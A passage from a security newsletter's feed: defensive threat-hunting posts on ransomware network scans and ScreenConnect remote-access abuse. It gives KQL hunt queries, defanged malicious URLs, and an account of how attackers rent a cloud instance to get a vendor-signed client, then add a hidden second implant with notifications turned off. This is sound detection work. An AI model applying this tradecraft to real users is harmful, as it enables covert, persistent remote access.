src="https://substackcdn.com/image/fetch/$s_!JsnC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47278eb7-ae74-40da-9faf-5591d732a87d_1798x237.png" width="1456" height="192" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/47278eb7-ae74-40da-9faf-5591d732a87d_1798x237.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:192,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:50386,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/221920961?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47278eb7-ae74-40da-9faf-5591d732a87d_1798x237.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!JsnC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47278eb7-ae74-40da-9faf-5591d732a87d_1798x237.png 424w, https://substackcdn.com/image/fetch/$s_!JsnC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47278eb7-ae74-40da-9faf-5591d732a87d_1798x237.png 848w, https://substackcdn.com/image/fetch/$s_!JsnC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47278eb7-ae74-40da-9faf-5591d732a87d_1798x237.png 1272w, https://substackcdn.com/image/fetch/$s_!JsnC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47278eb7-ae74-40da-9faf-5591d732a87d_1798x237.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>On your own tenant, change the two <code>let</code> lines to <code>ago(30d)</code> and <code>now()</code> and the same query runs live.</p><p>Want more practice before next week? The rest of my <a href="https://github.com/Securityinbits/defender-hunt-queries/blob/main/anydesk.md">hunt pack</a> runs on this same data. In each query, replace the <code>Timestamp &gt; ago(...)</code> filter with <code>Timestamp between (datetime(2026-06-26) .. datetime(2026-06-27))</code>.</p><p>That was one query on one table. <strong>Next Wednesday: the full AnyDesk intrusion as a hunt exercise.</strong> Two workstations, an attended and an unattended install, five things to find, from easy to hard, and the worked answers. The answers are for subscribers, and <a href="https://newsletter.securityinbits.com/subscribe">subscribing is free</a>.</p><p>If this was useful, forward it to whoever on your team is learning KQL. That is how the next defender finds it.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Securityinbits! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[Watch it run: the network scan 45+ ransomware groups use]]></title><description><![CDATA[Catch the scan before the encryption. On real lab telemetry, in Defender and Elastic.]]></description><link>https://newsletter.securityinbits.com/p/watch-it-run-the-network-scan-45</link><guid isPermaLink="false">https://newsletter.securityinbits.com/p/watch-it-run-the-network-scan-45</guid><dc:creator><![CDATA[Ayush Anand]]></dc:creator><pubDate>Wed, 30 Sep 2026 14:04:48 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/Iun8zko6EZk" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you read the June issue, you know the three network scanners 45+ ransomware groups reach for during discovery: SoftPerfect NetScan, Advanced IP Scanner and Advanced Port Scanner. </p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;63102df2-f1ef-4c96-aed3-14561670de66&quot;,&quot;caption&quot;:&quot;In just the first five months of 2026, 4,113 organizations were hit by ransomware. The attackers were not caught at encryption because nothing fired earlier. The discovery phase is where the attack was cheap to stop.&quot;,&quot;cta&quot;:null,&quot;showBylines&quot;:true,&quot;showDescription&quot;:true,&quot;showImage&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;Hunt Ransomware Before It Encrypts: The Three Tools 45+ Gangs Reach For&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:55958147,&quot;name&quot;:&quot;Ayush Anand&quot;,&quot;bio&quot;:&quot;Detection engineering, threat hunting, and malware analysis for defenders who want to understand how things work, not just which button to click. One bit at a time.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8b6b09fd-44fc-4c87-b05c-87456e33c226_2946x2946.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2026-06-06T13:02:29.431Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!zmzh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://newsletter.securityinbits.com/p/hunt-ransomware-before-it-encrypts&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:200769925,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:2,&quot;comment_count&quot;:0,&quot;publication_id&quot;:9007017,&quot;publication_name&quot;:&quot;Securityinbits&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!OffF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e98171-ed60-4bc6-aea5-1ae7e6519358_1280x1280.png&quot;,&quot;belowTheFold&quot;:false,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><p>For the video I ran the scan again, this time through a ligolo-ng pivot.</p><div id="youtube2-Iun8zko6EZk" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;Iun8zko6EZk&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/Iun8zko6EZk?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p>What the video adds over the issue:</p><ol><li><p>The scan landing in Defender Advanced Hunting (KQL), and the same sweep in Elastic ES|QL.</p></li><li><p>How I tell an admin running a scanner from an operator doing discovery.</p></li><li><p>A pivot trap: the operator came in through a ligolo-ng tunnel, so the victim logged the pivot host as the RDP source, not the attacker&#8217;s machine.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kMDE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kMDE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png 424w, https://substackcdn.com/image/fetch/$s_!kMDE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png 848w, https://substackcdn.com/image/fetch/$s_!kMDE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png 1272w, https://substackcdn.com/image/fetch/$s_!kMDE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kMDE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png" width="1456" height="630" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:630,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:269070,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/218164354?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!kMDE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png 424w, https://substackcdn.com/image/fetch/$s_!kMDE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png 848w, https://substackcdn.com/image/fetch/$s_!kMDE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png 1272w, https://substackcdn.com/image/fetch/$s_!kMDE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4cd6345-ada7-4920-96ef-5dc9e4be1a0a_2288x990.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">The lab path in the video: the operator pivots through app01, so WKST01 logs the RDP source as 10.2.20.10, not Kali.</figcaption></figure></div><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Securityinbits! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[ScreenConnect RMM Abuse: The Cloud Client Gets In, The Self-Hosted One Stays]]></title><description><![CDATA[Two real samples in my lab dropped two implants on one host. One vendor-signed and loud, one self-hosted and configured to be invisible. Here is how to hunt both.]]></description><link>https://newsletter.securityinbits.com/p/screenconnect-rmm-abuse-the-cloud</link><guid isPermaLink="false">https://newsletter.securityinbits.com/p/screenconnect-rmm-abuse-the-cloud</guid><dc:creator><![CDATA[Ayush Anand]]></dc:creator><pubDate>Wed, 23 Sep 2026 12:03:33 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/8c2801f3-1b9b-41f9-97f3-acd410b579f2_1200x630.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>An installer landed on a workstation from a browser download. The signature checked out: <code>CN="ConnectWise, LLC"</code>, issued by DigiCert Trusted G4. It was a real ScreenConnect client doing exactly what a ScreenConnect client does.</p><p>It was also the whole attack.</p><p>That is the problem in one line. The maliciousness was in who owned the instance, not in the binary. The attacker did not repack anything, did not steal a certificate, did not need a zero-day, and did not need AI to do any of it. They signed up for a ScreenConnect cloud instance, built a client, wrapped it in a lure, and let ConnectWise sign it for them.</p><p>Huntress put ScreenConnect at <strong>74.5% of the abused remote-access tools they see</strong>, ahead of RDP, LogMeIn, TeamViewer, Atera and the rest. So I detonated two real samples and hunted them on both stacks I run, to find out what the telemetry actually holds, which queries actually fire, and which ones only look like they do.</p><p>The second sample then did the thing that changes how you hunt this tool. It did not drop one implant. It dropped <strong>two</strong>, and they were not alternatives.</p><p>The first was the vendor-signed client talking to ConnectWise&#8217;s own cloud relay, and it is allowed to look like legitimate software because looking legitimate is its entire job. Roughly nine minutes later a second one appeared, pushed by hand through the first, dialling a relay the operator owns outright. That one shipped a config file that switches off the tray icon, the connect notification and the banner telling the user they are being watched. One implant to get in. One to stay, built to be invisible while it does.</p><p>Everything below is aimed at catching both, because remediating the one your alert fired on leaves the second one installed as a service, dialling a relay you have not seen yet.</p><p>Plenty has already been written about ScreenConnect abuse, including about clients that arrive correctly signed, and the best of it is linked further down. What I can add is the endpoint view underneath it. This is AI-assisted, human-validated detection, proven on real lab telemetry: two samples, dual-stack across Microsoft Defender (KQL) and Elastic (ES|QL), every query and every alert pulled from the live stores rather than from memory. Including four places where I had it wrong and the telemetry corrected me, and the log I had not collected that turned out to name the operator on the keyboard.</p><h2>How it lands: a lure, a rented instance, and a real signature</h2><p>Both samples arrived the same way, and it is the same way most of them arrive: a fake update page, a poisoned search result, a brand-impersonation lure. A lure page auto-redirected to an attacker-controlled ScreenConnect cloud instance, which served a genuine, ConnectWise-signed client pre-baked with its own launch parameters. Sample 1 came off <code>hxxps://eventvenue[.]ink/view/windows_download.php</code>, a &#8220;Blue Mountain&#8221; eCard brand impersonation that auto-downloaded after three seconds. Sample 2 came off a second lure, a fake insurance-document page.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sfyU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sfyU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png 424w, https://substackcdn.com/image/fetch/$s_!sfyU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png 848w, https://substackcdn.com/image/fetch/$s_!sfyU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png 1272w, https://substackcdn.com/image/fetch/$s_!sfyU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!sfyU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png" width="1456" height="973" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:973,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1072190,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sfyU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png 424w, https://substackcdn.com/image/fetch/$s_!sfyU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png 848w, https://substackcdn.com/image/fetch/$s_!sfyU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png 1272w, https://substackcdn.com/image/fetch/$s_!sfyU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F765e0644-a778-4b8e-9e22-8bc9be0df07d_1769x1182.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h3>The download host and the relay host share no name</h3><p>The file the lure served came from the attacker&#8217;s own cloud tenant, <code>hxxps://westville[.]screenconnect[.]com/Bin/ScreenConnect.ClientSetup.msi?e=Access&amp;y=Guest</code>. Here is the first trap. <strong>Same ConnectWise tenant each time, two unrelated-looking DNS names each time:</strong></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Zmc3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cd82965-b7f5-4cc8-a582-762c6a815035_1031x209.png 424w, https://substackcdn.com/image/fetch/$s_!Zmc3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cd82965-b7f5-4cc8-a582-762c6a815035_1031x209.png 848w, https://substackcdn.com/image/fetch/$s_!Zmc3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cd82965-b7f5-4cc8-a582-762c6a815035_1031x209.png 1272w, https://substackcdn.com/image/fetch/$s_!Zmc3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cd82965-b7f5-4cc8-a582-762c6a815035_1031x209.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!Zmc3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cd82965-b7f5-4cc8-a582-762c6a815035_1031x209.png" width="1031" height="209" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0cd82965-b7f5-4cc8-a582-762c6a815035_1031x209.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:209,&quot;width&quot;:1031,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:136424,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cd82965-b7f5-4cc8-a582-762c6a815035_1031x209.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Zmc3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cd82965-b7f5-4cc8-a582-762c6a815035_1031x209.png 424w, https://substackcdn.com/image/fetch/$s_!Zmc3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cd82965-b7f5-4cc8-a582-762c6a815035_1031x209.png 848w, https://substackcdn.com/image/fetch/$s_!Zmc3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cd82965-b7f5-4cc8-a582-762c6a815035_1031x209.png 1272w, https://substackcdn.com/image/fetch/$s_!Zmc3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cd82965-b7f5-4cc8-a582-762c6a815035_1031x209.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>Nothing on the endpoint links them except the <code>h=</code> launch parameter and Defender&#8217;s <code>FileOriginUrl</code> field. A hunt that pivots on the relay domain alone never reaches the delivery host, and a hunt on the delivery host never reaches the relay. Collect both or you get half the infrastructure.</p><h3>The trust field would have dropped both samples</h3><p>Defender did flag sample 2: its antivirus convicted the installer on write as <code>Trojan:Win32/Sonbokli.A!cl</code>, and its behavioural side independently raised <code>Uncommon remote access software</code> on the client. I turned real-time protection off deliberately to watch what the sample did next.</p><p>What the signature check would <strong>not</strong> have done is stop any of it. <strong>Both samples were validly signed by ConnectWise LLC, DigiCert Trusted G4.</strong> The instinct to filter on <code>SignatureStatus != "Valid"</code> or <code>code_signature.trusted == false</code> would have dropped both samples outright. A cloud-built client is the vendor&#8217;s own file. There is nothing to be unsigned about. A file can carry a valid vendor signature and a malware verdict from the same product at the same moment. An AV conviction is a control to have switched on. A trust field is not a hunting predicate. The rest of this piece is about the second claim.</p><h2>Hunt it: provenance, vendor identity, and the relay, not trust and not the path</h2><p>If a valid vendor signature is the normal case rather than the exception, what is left to key on? Five things that held on real telemetry.</p><h3>1. Provenance is the earliest anchor, and it is Defender-only</h3><p>Defender&#8217;s <code>FileOriginUrl</code> carried the full <code>westville[.]screenconnect[.]com</code> download URL, captured at write time, before anything executed. It survives a rename. Elastic recorded the file event but has no origin equivalent at all. Earliest, rename-proof and unique to one stack is what makes it the first anchor rather than a nice-to-have.</p><pre><code><code>// ScreenConnect installer arriving from the internet, with its download origin
let lookback = 30d;                                                           
DeviceFileEvents
| where Timestamp &gt; ago(lookback)
| where FileName has "ScreenConnect" or FileOriginUrl has "screenconnect.com" 
| where isnotempty(FileOriginUrl)                                             
| project Timestamp, DeviceName, FileName, FolderPath, FileOriginUrl, FileOriginReferrerUrl, SHA256</code></code></pre><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kNSC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda67f5ec-fd67-4568-9c44-5a60e58c1b18_1623x200.png 424w, https://substackcdn.com/image/fetch/$s_!kNSC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda67f5ec-fd67-4568-9c44-5a60e58c1b18_1623x200.png 848w, https://substackcdn.com/image/fetch/$s_!kNSC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda67f5ec-fd67-4568-9c44-5a60e58c1b18_1623x200.png 1272w, https://substackcdn.com/image/fetch/$s_!kNSC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda67f5ec-fd67-4568-9c44-5a60e58c1b18_1623x200.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!kNSC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda67f5ec-fd67-4568-9c44-5a60e58c1b18_1623x200.png" width="1456" height="179" 